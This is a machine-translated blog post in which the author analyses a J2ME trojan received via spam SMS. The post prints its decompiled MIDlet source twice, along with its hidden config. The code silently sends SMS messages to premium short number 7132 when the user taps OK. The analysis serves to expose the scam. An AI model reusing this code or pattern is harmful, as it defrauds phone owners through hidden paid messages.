右側の写真は投稿の内容とはまったく一致せず、SMSスパムのほんの一例です。
だから、物語自体:昨日、次のSMSを受け取りました:
「 tutu.wml.in/lo.jarへのMMSメッセージ」
明らかに、これは別の離婚であり、リンクを開かずに別のことをしました。
しかし今朝、私はそこに何があり、どのように機能し、何をしたのかと思いました。
このdzharnikをコンピューターからダウンロードして解凍しました。 内部はすべて最小限でした:
-小さな写真
-コンパイルされたJavaクラスmain.class
-ある種の疑わしいpngボックス。画像ビューアでは開かれていません。
-ResourceUTF8クラス。 ここから明らかになります 。
メインクラスのコンテンツを逆コンパイルすると、次のコードが表示されました。
import java.io.IOException;
import javax.microedition.io.Connector;
import javax.microedition.lcdui.Command;
import javax.microedition.lcdui.CommandListener;
import javax.microedition.lcdui.Display;
import javax.microedition.lcdui.Displayable;
import javax.microedition.lcdui.Form;
import javax.microedition.lcdui.Image;
import javax.microedition.midlet.MIDlet;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;
import lib.Resources.ResourcesUTF8;
public class main extends MIDlet implements CommandListener {
public static ResourcesUTF8 language;
private boolean isLanguage;
private Form form;
private Image image;
private Display display;
private Command cmd_ok;
private Command cmd_cancel;
public main() {
language = new ResourcesUTF8( "/sample.png" );
this .isLanguage = language.load();
this .cmd_ok = new Command( "\u041e\u043a" , 4, 2);
this .cmd_cancel = new Command( "\u041e\u0442\u043c\u0435\u043d\u0430" , 7, 4);
}
public void startApp() {
this .display = Display.getDisplay( this );
try {
this .image = Image.createImage(language. get ( "picname" ));
} catch (IOException var2) {
System. out .println(var2.getMessage());
}
this .form = new Form(language. get ( "title" ));
this .form.append(language. get ( "textvalue" ));
this .form.addCommand( this .cmd_ok);
this .form.addCommand( this .cmd_cancel);
this .form.setCommandListener( this );
this .display.setCurrent( this .form);
}
public void pauseApp() {
System.gc();
}
public void destroyApp(boolean var1) {
}
public void commandAction(Command var1, Displayable var2) {
if (var1 == this .cmd_ok) {
String var3;
MessageConnection var4;
TextMessage var5;
try {
var3 = "sms://" + language. get ( "numberphone1" );
var4 = (MessageConnection)Connector.open(var3);
var5 = (TextMessage)var4.newMessage( "text" );
var5.setPayloadText(language. get ( "message1" ));
var4.send(var5);
} catch (Exception var8) {
;
}
try {
var3 = "sms://" + language. get ( "numberphone2" );
var4 = (MessageConnection)Connector.open(var3);
var5 = (TextMessage)var4.newMessage( "text" );
var5.setPayloadText(language. get ( "message2" ));
var4.send(var5);
} catch (Exception var7) {
;
}
try {
var3 = "sms://" + language. get ( "numberphone3" );
var4 = (MessageConnection)Connector.open(var3);
var5 = (TextMessage)var4.newMessage( "text" );
var5.setPayloadText(language. get ( "message3" ));
var4.send(var5);
} catch (Exception var6) {
;
}
this .form.delete(0);
this .form.append( this .image);
}
if (var1 == this .cmd_cancel) {
this .notifyDestroyed();
}
}
}
* This source code was highlighted with Source Code Highlighter .
import java.io.IOException;
import javax.microedition.io.Connector;
import javax.microedition.lcdui.Command;
import javax.microedition.lcdui.CommandListener;
import javax.microedition.lcdui.Display;
import javax.microedition.lcdui.Displayable;
import javax.microedition.lcdui.Form;
import javax.microedition.lcdui.Image;
import javax.microedition.midlet.MIDlet;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;
import lib.Resources.ResourcesUTF8;
public class main extends MIDlet implements CommandListener {
public static ResourcesUTF8 language;
private boolean isLanguage;
private Form form;
private Image image;
private Display display;
private Command cmd_ok;
private Command cmd_cancel;
public main() {
language = new ResourcesUTF8( "/sample.png" );
this .isLanguage = language.load();
this .cmd_ok = new Command( "\u041e\u043a" , 4, 2);
this .cmd_cancel = new Command( "\u041e\u0442\u043c\u0435\u043d\u0430" , 7, 4);
}
public void startApp() {
this .display = Display.getDisplay( this );
try {
this .image = Image.createImage(language. get ( "picname" ));
} catch (IOException var2) {
System. out .println(var2.getMessage());
}
this .form = new Form(language. get ( "title" ));
this .form.append(language. get ( "textvalue" ));
this .form.addCommand( this .cmd_ok);
this .form.addCommand( this .cmd_cancel);
this .form.setCommandListener( this );
this .display.setCurrent( this .form);
}
public void pauseApp() {
System.gc();
}
public void destroyApp(boolean var1) {
}
public void commandAction(Command var1, Displayable var2) {
if (var1 == this .cmd_ok) {
String var3;
MessageConnection var4;
TextMessage var5;
try {
var3 = "sms://" + language. get ( "numberphone1" );
var4 = (MessageConnection)Connector.open(var3);
var5 = (TextMessage)var4.newMessage( "text" );
var5.setPayloadText(language. get ( "message1" ));
var4.send(var5);
} catch (Exception var8) {
;
}
try {
var3 = "sms://" + language. get ( "numberphone2" );
var4 = (MessageConnection)Connector.open(var3);
var5 = (TextMessage)var4.newMessage( "text" );
var5.setPayloadText(language. get ( "message2" ));
var4.send(var5);
} catch (Exception var7) {
;
}
try {
var3 = "sms://" + language. get ( "numberphone3" );
var4 = (MessageConnection)Connector.open(var3);
var5 = (TextMessage)var4.newMessage( "text" );
var5.setPayloadText(language. get ( "message3" ));
var4.send(var5);
} catch (Exception var6) {
;
}
this .form.delete(0);
this .form.append( this .image);
}
if (var1 == this .cmd_cancel) {
this .notifyDestroyed();
}
}
}
* This source code was highlighted with Source Code Highlighter .
誰かがオンラインの逆コンパイラFernflowerを逆コンパイルすることに興味があるなら。
コードが何をするのかを理解するには、プログラマである必要さえありません。 彼はその奇妙なpng-shkiからいくつかの情報を取得し、電話からSMSを送信します。
メモ帳で開いた場合のpngの内容は次のとおりです。
title=OTKPblTKA
textvalue= ?
picname=/love.JPG
numberphone1= 7132
message1= 199414999922
そして、SMSが送信される番号とメッセージテキストを次に示します。 はい、拒否は非常に簡単です。 そして、これは予想されることでした。 とにかく、時間を無駄にしたと思います。 そして多分habrコミュニティの誰かにとって、この情報は興味深いように思えます。
UPD: この手順を使用して、短い番号の所有者のサポートサービスに苦情を書きました。